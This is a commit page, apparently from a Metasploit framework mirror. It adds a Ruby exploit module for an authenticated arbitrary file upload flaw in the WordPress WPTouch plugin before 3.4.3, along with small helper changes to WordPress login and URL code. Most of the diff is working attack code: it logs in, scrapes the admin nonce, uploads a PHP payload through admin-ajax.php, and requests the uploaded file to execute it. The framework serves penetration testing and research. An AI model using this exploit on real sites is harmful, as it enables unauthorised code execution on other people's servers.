Browse Source

Land #3524 - WPTouch fileupload exploit

sinn3r 5 years ago
parent
commit
f8e47a5c61
No account linked to committer's email address

+ 6
- 15
lib/msf/http/wordpress/login.rb View File

@@ -15,22 +15,13 @@ module Msf::HTTP::Wordpress::Login
15 15
     })
16 16
 
17 17
     if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
18
-      match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
19
-      # return wordpress login cookie
20
-      return match[0] if match
21
-
22
-      # support for older wordpress versions
23
-      # Wordpress 2.0
24
-      match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
25
-      match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
26
-      # return wordpress login cookie
27
-      return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
28
-
29
-      # Wordpress 2.5
30
-      match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
31
-      # return wordpress login cookie
32
-      return match_2_5[0] if match_2_5
18
+      cookies = res.get_cookies
19
+      # Check if a valid wordpress cookie is returned
20
+      return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
21
+        cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
22
+        cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
33 23
     end
24
+
34 25
     return nil
35 26
   end
36 27
 

+ 14
- 0
lib/msf/http/wordpress/uris.rb View File

@@ -66,4 +66,18 @@ module Msf::HTTP::Wordpress::URIs
66 66
     normalize_uri(target_uri.path, 'wp-links-opml.php')
67 67
   end
68 68
 
69
+  # Returns the Wordpress Backend URL
70
+  #
71
+  # @return [String] Wordpress Backend URL
72
+  def wordpress_url_backend
73
+    normalize_uri(target_uri.path, 'wp-admin/')
74
+  end
75
+
76
+  # Returns the Wordpress Admin Ajax URL
77
+  #
78
+  # @return [String] Wordpress Admin Ajax URL
79
+  def wordpress_url_admin_ajax
80
+    normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
81
+  end
82
+
69 83
 end

+ 172
- 0
modules/exploits/unix/webapp/wp_wptouch_file_upload.rb View File

@@ -0,0 +1,172 @@
1
+##
2
+# This module requires Metasploit: http//metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+
8
+class Metasploit3 < Msf::Exploit::Remote
9
+  Rank = ExcellentRanking
10
+
11
+  include Msf::HTTP::Wordpress
12
+  include Msf::Exploit::FileDropper
13
+
14
+  def initialize(info = {})
15
+    super(update_info(info,
16
+      'Name'           => 'Wordpress WPTouch Authenticated File Upload',
17
+      'Description'    => %q{
18
+          The Wordpress WPTouch plugin contains an auhtenticated file upload
19
+          vulnerability. A wp-nonce (CSRF token) is created on the backend index
20
+          page and the same token is used on handling ajax file uploads through
21
+          the plugin. By sending the captured nonce with the upload, we can
22
+          upload arbitrary files to the upload folder. Because the plugin also
23
+          uses it's own file upload mechanism instead of the wordpress api it's
24
+          possible to upload any file type.
25
+          The user provided does not need special rights. Also users with "Contributer"
26
+          role can be abused.
27
+      },
28
+      'Author'         =>
29
+        [
30
+          'Marc-Alexandre Montpas', # initial discovery
31
+          'Christian Mehlmauer'     # metasploit module
32
+        ],
33
+      'License'        => MSF_LICENSE,
34
+      'References'     =>
35
+        [
36
+          [ 'URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html' ]
37
+        ],
38
+      'Privileged'     => false,
39
+      'Platform'       => ['php'],
40
+      'Arch'           => ARCH_PHP,
41
+      'Targets'        => [ ['wptouch < 3.4.3', {}] ],
42
+      'DefaultTarget'  => 0,
43
+      'DisclosureDate' => 'Jul 14 2014'))
44
+
45
+    register_options(
46
+      [
47
+        OptString.new('USER', [true, "A valid username", nil]),
48
+        OptString.new('PASSWORD', [true, "Valid password for the provided username", nil]),
49
+      ], self.class)
50
+  end
51
+
52
+  def user
53
+    datastore['USER']
54
+  end
55
+
56
+  def password
57
+    datastore['PASSWORD']
58
+  end
59
+
60
+  def check
61
+    readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wptouch', 'readme.txt')
62
+    res = send_request_cgi({
63
+      'uri'    => readme_url,
64
+      'method' => 'GET'
65
+    })
66
+    # no readme.txt present
67
+    if res.nil? || res.code != 200
68
+      return Msf::Exploit::CheckCode::Unknown
69
+    end
70
+
71
+    # try to extract version from readme
72
+    # Example line:
73
+    # Stable tag: 2.6.6
74
+    version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
75
+
76
+    # readme present, but no version number
77
+    if version.nil?
78
+      return Msf::Exploit::CheckCode::Detected
79
+    end
80
+
81
+    vprint_status("#{peer} - Found version #{version} of the plugin")
82
+
83
+    if Gem::Version.new(version) < Gem::Version.new('3.4.3')
84
+      return Msf::Exploit::CheckCode::Appears
85
+    else
86
+      return Msf::Exploit::CheckCode::Safe
87
+    end
88
+  end
89
+
90
+  def get_nonce(cookie)
91
+    res = send_request_cgi({
92
+      'uri'    => wordpress_url_backend,
93
+      'method' => 'GET',
94
+      'cookie' => cookie
95
+    })
96
+
97
+    # forward to profile.php or other page?
98
+    if res and res.code.to_s =~ /30[0-9]/ and res.headers['Location']
99
+      location = res.headers['Location']
100
+      print_status("#{peer} - Following redirect to #{location}")
101
+      res = send_request_cgi({
102
+        'uri'    => location,
103
+        'method' => 'GET',
104
+        'cookie' => cookie
105
+      })
106
+    end
107
+
108
+    if res and res.body and res.body =~ /var WPtouchCustom = {[^}]+"admin_nonce":"([a-z0-9]+)"};/
109
+      return $1
110
+    else
111
+      return nil
112
+    end
113
+  end
114
+
115
+  def upload_file(cookie, nonce)
116
+    filename = "#{rand_text_alpha(10)}.php"
117
+
118
+    data = Rex::MIME::Message.new
119
+    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"myfile\"; filename=\"#{filename}\"")
120
+    data.add_part('homescreen_image', nil, nil, 'form-data; name="file_type"')
121
+    data.add_part('upload_file', nil, nil, 'form-data; name="action"')
122
+    data.add_part('wptouch__foundation__logo_image', nil, nil, 'form-data; name="setting_name"')
123
+    data.add_part(nonce, nil, nil, 'form-data; name="wp_nonce"')
124
+    post_data = data.to_s
125
+
126
+    print_status("#{peer} - Uploading payload")
127
+    res = send_request_cgi({
128
+      'method'   => 'POST',
129
+      'uri'      => wordpress_url_admin_ajax,
130
+      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
131
+      'data'     => post_data,
132
+      'cookie'   => cookie
133
+    })
134
+
135
+    if res and res.code == 200 and res.body and res.body.length > 0
136
+      register_files_for_cleanup(filename)
137
+      return res.body
138
+    end
139
+
140
+    return nil
141
+  end
142
+
143
+  def exploit
144
+    print_status("#{peer} - Trying to login as #{user}")
145
+    cookie = wordpress_login(user, password)
146
+    if cookie.nil?
147
+      print_error("#{peer} - Unable to login as #{user}")
148
+      return
149
+    end
150
+
151
+    print_status("#{peer} - Trying to get nonce")
152
+    nonce = get_nonce(cookie)
153
+    if nonce.nil?
154
+      print_error("#{peer} - Can not get nonce after login")
155
+      return
156
+    end
157
+    print_status("#{peer} - Got nonce #{nonce}")
158
+
159
+    print_status("#{peer} - Trying to upload payload")
160
+    file_path = upload_file(cookie, nonce)
161
+    if file_path.nil?
162
+      print_error("#{peer} - Error uploading file")
163
+      return
164
+    end
165
+
166
+    print_status("#{peer} - Calling uploaded file #{file_path}")
167
+    res = send_request_cgi({
168
+      'uri'    => file_path,
169
+      'method' => 'GET'
170
+    })
171
+  end
172
+end

Loading…
Cancel
Save